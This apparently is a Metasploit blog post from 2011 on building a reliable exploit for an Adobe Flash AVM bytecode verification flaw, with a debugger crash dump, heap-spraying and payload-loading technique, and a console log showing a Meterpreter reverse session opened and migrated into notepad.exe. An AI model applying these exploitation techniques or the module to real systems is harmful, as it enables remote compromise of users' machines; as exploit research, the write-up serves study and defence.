Last updated at Mon, 04 Dec 2023 20:04:28 GMT

Originally Posted by bannedit

Recently, I spent about a week and a half working on the latest 0-day Flash vulnerability. I released a working exploit on March 22nd 2011. The original exploit was just an attempt to get something working out the door for all of our users. The first attempt left a lot to be desired. To understand the crux of this vulnerability and what needed to be done to improve the first attempt at exploiting it I had to dig in deep into ActionScript.

ActionScript is a language which is embedded into an SWF file in the form of a bytecode stream. The embedded bytecode stream is handled by the ActionScript Virtual Machine (AVM) which is tasked with verifying the bytecode and generating native code. This process is commonly referred to as JIT (Just In Time) compiling.

The cause of this specific vulnerability is due to a one byte alteration (fuzzing) within an original well formed bytecode stream found in a file called addLabels.swf. The bytecode passes the verification process and the native code is generated and placed in VirtualAlloc()'d executable memory. The specific results of this code executing is that uninitialized memory is referenced.

  (fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)
  eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0
  eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
  02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]
  0:000> dd eax+8
  02b38c91  40027f2b 21029780 0002b36d e8180000
  02b38ca1  01026d56 34800041 000263d9 08000000
  02b38cb1  0a000000 e8000000 01026d56 43800042
  02b38cc1  000263d9 05000000 0a000000 e8000000
  02b38cd1  01026d56 58800043 000263d9 0c000000
  02b38ce1  0a000000 e8000000 01026d56 7a800044
  02b38cf1  000263d9 06000000 0a000000 e8000000
  02b38d01  01026d56 9c800045 000263d9 08000000
  0:000> u eip
  02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]
  02b75591 8d559c          lea     edx,[ebp-64h]
  02b75594 89459c          mov     dword ptr [ebp-64h],eax
  02b75597 8b01            mov     eax,dword ptr [ecx]
  02b75599 52              push    edx
  02b7559a 6a00            push    0
  02b7559c 51              push    ecx
  02b7559d ffd0            call    eax

The memory being referenced is uninitialized. To control this memory heapspraying is required. The original exploit used heapspraying within JavaScript. This worked but it was not very reliable.

The solution was to preform the heapspray within a SWF file which loads the trigger SWF. Using from Roee Hay I was able to get some basic heapspraying accomplished. This is a lot more reliable because it is using the same Heap management routines Flash uses to allocate memory. A copy of the ActionScript source code I used for this exploit can be found in the source file.

Now that I have reliable control over the unintialized memory. Whats the next task? The next task is simply constructing the memory in such a way that the call eax instruction in the JIT code executes my shellcode. This was easily done using the good old Skylined technique of using an address which doubles as a nop instruction (0x0d0d0d0d ftw!).

The next major hurdle I had to over come was now that I have execution control what do I execute? While testing I was using a hardcoded payload within the ActionScript which simply executed calc.exe. This just was not going to cut it. A few initial options came to mind, I could hardcode a meterpreter payload. This was not very dynamic at all and so I had to come up with something else. The next option I thought of was using an egghunter payload to find shellcode I could inject in some other fashion. This would work but really limited things to a lot of payload specifics for example if the hardcoded egghunter payload was for a different architecture than the targeted machine things would blow up and break. That would be pretty tragic since all the conditions for getting a shell would be in place but everything breaks due to the dependencies of a hardcoded payload.

Finally, I came to conclusion I needed to find a way to dynamically read a payload using ActionScript. Now I can simply make a HTTP request for a text file and read in the ASCII hexadecimal representation of the payload. After decoding the payload it can be applied to the heapspray code and now we have dynamic payloads in memory. W00t!

   =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
   + -- --=[ 672 exploits - 345 auxiliary
   + -- --=[ 217 payloads - 27 encoders - 8 nops
      =[ svn r12149 updated today (2011.03.26)
   msf > use exploit/windows/browser/adobe_flashplayer_avm
   msf exploit(adobe_flashplayer_avm) > set URIPATH /
   URIPATH => /
   msf exploit(adobe_flashplayer_avm) > exploit
   [*] Exploit running as background job.
   [*] Started reverse handler on
   [*] Using URL:

   msf exploit(adobe_flashplayer_avm) >
   [*]  Local IP:

   [*] Server started.
   [*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to
   [*] Sending Exploit SWF
   [*] Sending stage (749056 bytes) to
   [*] Meterpreter session 1 opened ( -> at 2011-03-26 15:23:18 -0400
   [*] Session ID 1 ( -> processing InitialAutoRunScript 'migrate -f'
   [*] Current server process: iexplore.exe (2376)
   [*] Spawning a notepad.exe host process...
   [*] Migrating into process ID 4092
   [*] New server process: notepad.exe (4092)
   msf exploit(adobe_flashplayer_avm) > sessions
   Active sessions
   Id  Type                                   Information                                                                                Connection 
   --   -------                                  ----------------                                                                                ---------------- 
   1   meterpreter x86/win32   WXPPROSP2-001\Administrator @ WXPPROSP2-001 ->
   msf exploit(adobe_flashplayer_avm) >

Thats the entire process it took to create a reliable exploit for this vulnerability. I hope you enjoy all the sessions =).